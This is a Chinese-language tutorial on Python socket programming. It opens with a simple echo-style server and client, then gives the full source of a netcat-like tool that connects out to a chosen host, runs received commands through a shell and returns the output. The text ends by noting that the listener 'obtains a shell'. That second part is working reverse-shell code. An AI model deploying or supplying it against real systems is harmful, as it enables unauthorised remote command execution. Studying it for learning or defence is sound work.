socket通信
socket 的英文原义是“孔”或“插座”。作为BSD UNIX的进程通信机制,取后一种意思。通常也称作“套接字”,用于描述IP地址和端口,是一个通信链的句柄,可以用来实现不同虚拟机或不同计算机之间的通信。
在 Internet 上的主机一般运行了多个服务软件,同时提供集中服务。每种服务都打开一个 socket,并绑定到一个端口上,不同的端口对应于不同的服务。
连接原理:根据连接启动的方式以及本地套接字要连接的目标,套接字之间的连接过程可以分为三个步骤:服务器监听,客户端请求,连接确认。
简单例子
服务端代码:
import socket
if __name__ == '__main__':
try:
# 创建 socket 对象
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 获取本地主机名
host = socket.gethostname()
port = 12581
# 绑定端口
serversocket.bind((host, port))
# 设置最大连接数,超过后排队,一般不超过20
serversocket.listen(5)
while True:
# 建立客户端连接
clientsocket, addr = serversocket.accept()
print("连接地址:" + str(addr))
# 发送消息
info = 'Welcome My World!\n'
clientsocket.send(info.encode('utf-8'))
# 接收回应消息
msg = clientsocket.recv(1024)
print(msg.decode(('utf-8')))
clientsocket.close()
except Exception as e:
print(str(e))
客户端代码:
import socket
if __name__ == '__main__':
# 创建socket对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 获取本地主机名
host = socket.gethostname()
# 设置端口号
port = 12581
# 连接服务,指定主机和端口
s.connect((host, port))
# 接收小于1024字节的数据
msg = s.recv(1024)
print(msg.decode(('utf-8')))
# 回应消息
info = 'hello world\n'
info = s.send(info.encode('utf-8'))
s.close()
先运行服务端,再运行客户端:
简易nc代理工具
源代码如下:
import socket
import sys
import subprocess
import getopt
# 帮助选项
def usage():
print("Usage: python ncat.py -t <HOST> -p <PORT>")
print(" -l --lithen listen on HOST:PORT")
print(" -t --target_ip connect to TARGET")
print(" -p --target_port connect to TARGET:PORT")
print("")
print("[-] Examples:")
print("[+] python ncat.py -l 12581")
print("[+] python ncat.py -t 192.168.1.114 -p 12581")
# 服务端函数
def client_handler(ip, port):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((ip, port))
while True:
rcve_data = client.recv(1024)
command = rcve_data.decode()
command = command.strip()
if command == 'bye':
client.close()
break
else:
output = run_command(command)
client.sendall(output)
except Exception as e:
print(e)
# 客户端函数
def server_loop(port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('', port))
server.listen(5)
rcve_data, rcve_ip_port = server.accept()
while True:
if rcve_data:
command = input('[ncat]# ')
if command == 'bye':
server.close()
break
else:
rcve_data.sendall(command.encode())
data = rcve_data.recv(4096)
print(data.decode(encoding='GBK'))
# 执行命令
def run_command(command):
command = command.rstrip()
print(command)
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Filed to execute command. \r\n"
return output
# 主函数
def main():
if not len(sys.argv[1:]):
usage()
flag = 0
try:
opts, args = getopt.getopt(sys.argv[1:], 'l:t:p:')
flag = 1
except getopt.GetoptError as e:
print('[-] ERROR: ' + str(e))
usage()
if flag:
for o, v in opts:
if o == '-l':
prot = int(v)
server_loop(prot)
elif o == '-t':
ip = v
elif o == '-p':
port = int(v)
client_handler(ip, port)
if __name__ == '__main__':
main()
先运行服务端,再运行客户端,最终再服务端得到shell: